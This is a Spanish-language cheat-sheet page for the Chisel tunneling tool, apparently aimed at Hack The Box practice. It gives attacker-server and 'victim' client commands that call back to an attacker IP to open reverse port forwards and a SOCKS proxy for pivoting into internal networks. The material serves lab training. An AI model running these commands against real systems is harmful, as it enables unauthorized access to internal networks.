Chisel
Chisel es un único binario que hace de servidor en tu máquina y de cliente en la víctima. Con R: el túnel sale desde la víctima hacia ti, así que funciona aunque no puedas conectar con ella desde fuera.
- Plataforma
- Linux · Windows · macOS (Go)
- Web oficial
- github.com/jpillora/chisel
- En HTB
- 21 máquinas
Instalación
# Binarios para cada sistema en https://github.com/jpillora/chisel/releases
Chuleta de Chisel
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Más usos
Varios puertos en un solo cliente
Víctima
./chisel client 10.10.14.5:8000 R:3306:127.0.0.1:3306 R:8080:127.0.0.1:8080
Usar el SOCKS con proxychains
Atacante
echo 'socks5 127.0.0.1 1080' | sudo tee -a /etc/proxychains4.conf
proxychains -q curl http://172.16.1.10
En nuestras chuletas
Port forwarding y pivoting › chisel
Servidor en tu máquina
Atacante
./chisel server --reverse -p 8000
Cliente en la víctima
Víctima
./chisel client 10.10.14.5:8000 R:8080:127.0.0.1:8080
Cliente en la víctima
Víctima
./chisel client 10.10.14.5:8000 R:socks
Abre un SOCKS5 en el puerto 1080 de tu máquina.
Windows
Víctima
.\chisel.exe client 10.10.14.5:8000 R:socks
Ningún comando coincide.
Máquinas de HTB donde se usa Chisel
Sacadas de los capítulos de los vídeos de IppSec en los que aparece Chisel. El enlace ▶ salta al minuto de esa parte.
Guías que usan Chisel
- Port forwarding y pivoting: SSH, chisel y socat 3 min de lectura Cómo llegar a un servicio que solo escucha en 127.0.0.1 o a otra red interna: túneles locales, remotos y dinámicos con SSH, chisel cuando no hay SSH, socat y proxychains.